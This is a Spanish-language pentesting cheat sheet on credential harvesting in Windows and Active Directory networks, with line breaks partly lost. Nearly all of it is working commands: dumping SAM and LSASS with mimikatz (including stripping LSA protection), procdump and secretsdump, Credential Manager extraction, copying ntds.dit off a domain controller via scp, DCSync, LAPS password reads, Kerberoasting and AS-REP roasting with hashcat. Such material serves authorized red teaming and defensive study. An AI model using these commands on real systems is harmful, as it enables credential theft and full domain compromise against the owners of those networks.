🔑Recolección de Credenciales
Diferentes técnicas con las que obtener credenciales en una red Windows
Archivos en Texto Plano
type %APPDATA%\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txtreg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /sExtraer Credenciales del SAM
Técnicas para obtener credenciales de cuentas de usuario local
Metasploit Hashdump
meterpreter > hashdumpVolume Shadow Copy Service
wmic shadowcopy call create Volume='C:\\'vssadmin list shadowscopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\system32\\config\\sam C:\\users\\Administrator\\Desktop\\sam
copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\system32\\config\\system C:\\users\\Administrator\\Desktop\\systempython3 /opt/impacket/examples/secretsdump.py -sam <sam> -system <system> LOCALRegistry Hives
reg save HKLM\\sam C:\\users\\Administrator\\Desktop\\sam-reg
reg save HKLM\\system C:\\users\\Administrator\\Desktop\\system-regpython3.9 /opt/impacket/examples/secretsdump.py -sam /tmp/sam-reg -system /tmp/system-reg LOCALExtraer Credenciales del LSASS
Técnicas para volcar las credenciales del sistema mediante el proceso lsass.exe
Sysinternals Suite
procdump.exe -accepteula -ma lsass.exe <dir-location>Protected LSASS
mimikatz.exe
sekurlsa::logonpasswords
# ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) - (Protección LSA)
!+
!processprotect /process:lsass.exe /remove
privilege::debug
sekurlsa::logonpasswordsmimikatz.exe
privilege::debug
sekurlsa::logonpasswordsWindows Credential Manager
Técnicas para volcar las credenciales almacenadas del sistema
Acceder al WCM
vaultcmd /listvaultcmd /listproperties:"<vault-name>"vaultcmd /listcreds:"<vault-name>"Volcar Credenciales Web con PowerShell
powershell -ex bypassImport-Module Get-WebCredentials.ps1Get-WebCredentialsRunAs
cmdkey /listrunas /savecreds /user:<username> cmd.exeMimikatz
mimikatz.exe
privilege::debug
sekurlsa::credmanHashes del Domain Controller
Técnicas para volcar los hashes del Domain Controller de manera local y remota.
Volcado Local (Sin Credenciales)
En caso de no tener credenciales válidas pero sí acceso administrativo al DC.
Archivos necesarios:
C:\Windows\NTDS\ntds.ditC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITY
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\\temp' q q"scp -r * <username>@<ip-a>:/tmp/.python3.9 /opt/impacket/examples/secretsdump.py -security <SECURITY> -system <SYSTEM> -ntds <ntds.dit> localVolcado Remoto (Con Credenciales)
Técnica para volcar los hashes del sistema y del DC de manera remota con credenciales válidas
Ataque DC Sync
Permisos Necesarios:
Replicating Directory ChangesReplicating Directory Changes AllReplicating Directory Changes in Filtered Set
python3.9 /opt/impacket/examples/secretsdump.py -just-dc/-just-dc-ntlm <domain>/<AD_Admin_User>@<ip>hashcat -m 1000 -a 0 <ntlm-hash> <wordlist>Extraer Credenciales del LAPS
Técnica para enumerar y obtener credenciales de un administrador local de un entorno AD si está configurada y habilitada la función LAPS.
Enumerar función LAPS
dir "C:\\Program Files\\LAPS\\CSE"
# Look for AdmPwd.dllGet-Command *AdmPwd*Find-AdmPwdExtendedRights -Identity *
Find-AdmPwdExtendedRights -Identity <OU>net groups "<group>"runas /user:<username> cmd.exeObtener Credenciales
Get-AdmPwdPassword -ComputerName <computer-name>Otros Ataques
Ataques extra sobre un entorno AD para obtener credenciales
Kerberoasting
Enumeración
python3 /opt/impacket/examples/GetUserSPNs.py -dc-ip <ip> <domain-name>/<username>:<pass>python3 /opt/impacket/examples/GetUserSPNs.py -dc-ip <ip> <domain-name>/<username>:<pass> -request-user <SPN-username>Explotación
hashcat -a 0 -m 13100 <hash> /usr/share/wordlist/rockyou.txtAS-REP Roasting
Necesita enumeración previa de usuarios válidos
python3.9 /opt/impacket/examples/GetNPUsers.py -dc-ip <ip> <domain-name>/ -usersfile users.txtÚltima actualización